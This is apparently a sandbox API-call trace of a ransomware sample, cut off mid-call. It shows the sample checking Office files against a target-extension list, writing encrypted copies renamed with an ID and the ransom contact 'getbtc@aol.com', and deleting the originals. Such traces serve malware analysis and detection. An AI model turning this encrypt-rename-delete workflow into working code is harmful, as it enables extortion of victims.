[0248.203] lstrlenW (lpString=".dbf") returned 4 [0248.203] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.203] lstrlenW (lpString=".1cd") returned 4 [0248.203] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.203] lstrlenW (lpString=".jpg") returned 4 [0248.203] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.203] lstrlenW (lpString=".doc") returned 4 [0248.203] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString=".docx") returned 5 [0248.203] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0248.203] lstrlenW (lpString=".pdf") returned 4 [0248.203] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString=".xls") returned 4 [0248.203] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.203] lstrlenW (lpString=".xlsx") returned 5 [0248.203] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0248.203] lstrlenW (lpString=".ppt") returned 4 [0248.203] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.204] lstrlenW (lpString=".zip") returned 4 [0248.204] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.204] lstrlenW (lpString=".rar") returned 4 [0248.204] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.204] lstrlenW (lpString=".bz2") returned 4 [0248.204] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.204] lstrlenW (lpString=".7z") returned 3 [0248.204] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.204] lstrlenW (lpString=".dbf") returned 4 [0248.204] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.204] lstrlenW (lpString=".1cd") returned 4 [0248.204] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.204] lstrlenW (lpString=".jpg") returned 4 [0248.204] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.204] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0248.204] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0248.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.262] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=7024126) returned 1 [0248.262] CloseHandle (hObject=0x3c0) returned 1 [0248.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20 [0248.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString=".doc") returned 4 [0248.265] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0248.265] lstrlenW (lpString=".docx") returned 5 [0248.265] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0248.265] lstrlenW (lpString=".pdf") returned 4 [0248.265] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0248.265] lstrlenW (lpString=".xls") returned 4 [0248.265] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0248.265] lstrlenW (lpString=".xlsx") returned 5 [0248.265] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0248.265] lstrlenW (lpString=".ppt") returned 4 [0248.265] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString=".zip") returned 4 [0248.265] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0248.265] lstrlenW (lpString=".rar") returned 4 [0248.265] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0248.265] lstrlenW (lpString=".bz2") returned 4 [0248.265] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0248.265] lstrlenW (lpString=".7z") returned 3 [0248.265] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString=".dbf") returned 4 [0248.265] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString=".1cd") returned 4 [0248.265] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString=".jpg") returned 4 [0248.265] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.265] lstrlenW (lpString=".doc") returned 4 [0248.265] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0248.265] lstrlenW (lpString=".docx") returned 5 [0248.266] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0248.266] lstrlenW (lpString=".pdf") returned 4 [0248.266] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0248.266] lstrlenW (lpString=".xls") returned 4 [0248.266] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0248.266] lstrlenW (lpString=".xlsx") returned 5 [0248.266] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0248.266] lstrlenW (lpString=".ppt") returned 4 [0248.266] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0248.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.266] lstrlenW (lpString=".zip") returned 4 [0248.266] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0248.266] lstrlenW (lpString=".rar") returned 4 [0248.266] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0248.266] lstrlenW (lpString=".bz2") returned 4 [0248.266] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0248.266] lstrlenW (lpString=".7z") returned 3 [0248.266] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0248.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.266] lstrlenW (lpString=".dbf") returned 4 [0248.266] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0248.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.266] lstrlenW (lpString=".1cd") returned 4 [0248.266] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0248.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0248.266] lstrlenW (lpString=".jpg") returned 4 [0248.266] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0248.266] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0248.266] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0248.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.267] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=209) returned 1 [0248.267] CloseHandle (hObject=0x200) returned 1 [0248.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 0x20 [0248.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.267] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.267] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.268] GetLastError () returned 0x0 [0248.268] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xd1, lpOverlapped=0x0) returned 1 [0248.269] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0248.269] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.269] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0248.269] SetEndOfFile (hFile=0x360) returned 1 [0248.270] CloseHandle (hObject=0x360) returned 1 [0248.270] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.270] SetEndOfFile (hFile=0x200) returned 1 [0248.273] CloseHandle (hObject=0x200) returned 1 [0248.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 1 [0248.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.274] lstrlenW (lpString=".doc") returned 4 [0248.274] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.274] lstrlenW (lpString=".docx") returned 5 [0248.274] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.274] lstrlenW (lpString=".pdf") returned 4 [0248.274] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.274] lstrlenW (lpString=".xls") returned 4 [0248.274] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.274] lstrlenW (lpString=".xlsx") returned 5 [0248.274] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.274] lstrlenW (lpString=".ppt") returned 4 [0248.274] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.274] lstrlenW (lpString=".zip") returned 4 [0248.274] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.274] lstrlenW (lpString=".rar") returned 4 [0248.274] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.274] lstrlenW (lpString=".bz2") returned 4 [0248.274] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.274] lstrlenW (lpString=".7z") returned 3 [0248.274] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.274] lstrlenW (lpString=".dbf") returned 4 [0248.274] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString=".1cd") returned 4 [0248.275] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString=".jpg") returned 4 [0248.275] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString=".doc") returned 4 [0248.275] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.275] lstrlenW (lpString=".docx") returned 5 [0248.275] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.275] lstrlenW (lpString=".pdf") returned 4 [0248.275] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.275] lstrlenW (lpString=".xls") returned 4 [0248.275] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.275] lstrlenW (lpString=".xlsx") returned 5 [0248.275] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.275] lstrlenW (lpString=".ppt") returned 4 [0248.275] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString=".zip") returned 4 [0248.275] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.275] lstrlenW (lpString=".rar") returned 4 [0248.275] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.275] lstrlenW (lpString=".bz2") returned 4 [0248.275] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.275] lstrlenW (lpString=".7z") returned 3 [0248.275] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString=".dbf") returned 4 [0248.275] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.275] lstrlenW (lpString=".1cd") returned 4 [0248.275] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0248.276] lstrlenW (lpString=".jpg") returned 4 [0248.276] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.276] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.276] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0248.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.276] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0248.276] CloseHandle (hObject=0x200) returned 1 [0248.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 0x20 [0248.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.277] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.277] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.277] GetLastError () returned 0x0 [0248.277] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0248.278] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0248.279] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.279] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0248.279] SetEndOfFile (hFile=0x360) returned 1 [0248.279] CloseHandle (hObject=0x360) returned 1 [0248.279] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.280] SetEndOfFile (hFile=0x200) returned 1 [0248.282] CloseHandle (hObject=0x200) returned 1 [0248.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 1 [0248.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString=".doc") returned 4 [0248.283] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.283] lstrlenW (lpString=".docx") returned 5 [0248.283] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.283] lstrlenW (lpString=".pdf") returned 4 [0248.283] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.283] lstrlenW (lpString=".xls") returned 4 [0248.283] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.283] lstrlenW (lpString=".xlsx") returned 5 [0248.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.283] lstrlenW (lpString=".ppt") returned 4 [0248.283] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString=".zip") returned 4 [0248.283] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.283] lstrlenW (lpString=".rar") returned 4 [0248.283] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.283] lstrlenW (lpString=".bz2") returned 4 [0248.283] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.283] lstrlenW (lpString=".7z") returned 3 [0248.283] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString=".dbf") returned 4 [0248.283] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString=".1cd") returned 4 [0248.283] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString=".jpg") returned 4 [0248.283] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.283] lstrlenW (lpString=".doc") returned 4 [0248.283] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.283] lstrlenW (lpString=".docx") returned 5 [0248.284] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.284] lstrlenW (lpString=".pdf") returned 4 [0248.284] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.284] lstrlenW (lpString=".xls") returned 4 [0248.284] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.284] lstrlenW (lpString=".xlsx") returned 5 [0248.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.284] lstrlenW (lpString=".ppt") returned 4 [0248.284] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.284] lstrlenW (lpString=".zip") returned 4 [0248.284] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.284] lstrlenW (lpString=".rar") returned 4 [0248.284] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.284] lstrlenW (lpString=".bz2") returned 4 [0248.284] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.284] lstrlenW (lpString=".7z") returned 3 [0248.284] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.284] lstrlenW (lpString=".dbf") returned 4 [0248.284] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.284] lstrlenW (lpString=".1cd") returned 4 [0248.284] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0248.284] lstrlenW (lpString=".jpg") returned 4 [0248.284] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.284] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.284] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0248.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.285] GetFileSizeEx (in: hFile=0x200, 